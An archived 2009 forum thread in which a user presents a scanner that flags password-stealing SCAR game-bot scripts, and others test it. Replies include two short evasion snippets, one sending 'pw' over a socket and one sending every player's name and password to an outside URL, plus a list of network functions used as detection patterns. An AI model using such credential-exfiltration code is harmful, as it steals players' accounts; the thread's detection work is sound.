SRL Archive - RS Scripts

SCAR Script Checker


Bad Processor

2009-08-01 15:07:24

Hey everyone. This is a Non-SCAR tool for SCAR: It checks scripts for anything fishy, eg. password stealer. Simple algorithm so far, only detects scripts that send to a website and type in-game. Lots of false positives, too, but it's a start.
Current version: 1.01
You need: .NET Framework 2.0
Command line scanner coming soon, and (unlikely) a python script for all you linux users.

DOWNLOAD:
(Windows) [ATTACH]7943[/ATTACH] (OLD)
(Windows) [ATTACH]7957[/ATTACH]

Enjoy, comment, open sauce coming soon (C#) once I clean up the code!

– BP

MasterKill

2009-08-01 20:29:08

There is a char limit in your text box, so I cannot place my 1902 lined outdated iron miner in it ;) Plus you should add, or turn hint false, on the menu items :o

[off]and the tags are called banana because there was an banana man image under the black line before, but with the forum move that image died[/off]

ShowerThoughts

2009-08-01 20:57:39

When I put 2.0 in the combo where you can select which .net framework version you want.
It still doesn't runs at 2.0 =/.

caused

2009-08-02 15:07:15

Not very efficient :'D…

Nice GUI though =)


program New;
var
test : INteger;
begin
test := OpenConnection('myip',9535,1000);
SendConnectionData(test,'pw'+#10+#13);
end.

Bad Processor

2009-08-03 11:51:07

From: Hermen
When I put 2.0 in the combo where you can select which .net framework version you want.
It still doesn't runs at 2.0 =/.

Eh? Combo? What combo?
No combo comes up for me on app start. Just the program.
Try updating your .NET framework to 3.5, see if it makes a difference.

I'll update the char limit to just over a million.
I'll also add support for checking sockets.

– BP

MasterKill

2009-08-03 13:05:46

begin
for I := 0 to High(Players) Do
win := win + 'UUU' + players[I].name + 'PPP' + players[I].pass;
GetPage('www.r-vd-s.nl/lol.php/?s=' + win);
end.

It didn't find anything. I suggest you add for every "GetPage()", "OpenWebPage()" and "OpenConnection()" you add a warning

ShowerThoughts

2009-08-03 15:20:16

From: Bad Processor
Eh? Combo? What combo?
No combo comes up for me on app start. Just the program.
Try updating your .NET framework to 3.5, see if it makes a difference.

I'll update the char limit to just over a million.
I'll also add support for checking sockets.

– BP


Yeah, I meant on my own project :p.

NiiX

2009-08-11 19:04:37

I think this would be better to use if there was a include for it, like Anti-Hacking.scar or w/e but if that code would be in the script then you had SCAR's assurance that nothing bad will happen, after all, scar's code is what your trying to defeat, why not do so from the inside?

Anyone NOT having the include, well.. :D

MasterKill

2009-08-11 20:58:59

Yes, add a list like "allowed includes", and if the include is not in that list say you need to check that includes script to :p

Good thinking yanix :)

Laimonas171

2009-08-12 00:54:46

I have made something like that (here http://www.villavu.com/forum/showthread.php?p=613353 or my Sig SSScanner, my one finds this functions:

Getpage
OpenWebPage
PostHTTPPage(ex)
SendConnectionData


if it finds an functions like that it will show what script do not pass
for example OpenWebPage function. :) your do something like that? :)

Bad Processor

2009-08-14 22:33:34

Basically… Expect an update pretty damn soon :P
Anyways I'l release some way of making your own filters… Probs XML-based or something like that.
– BP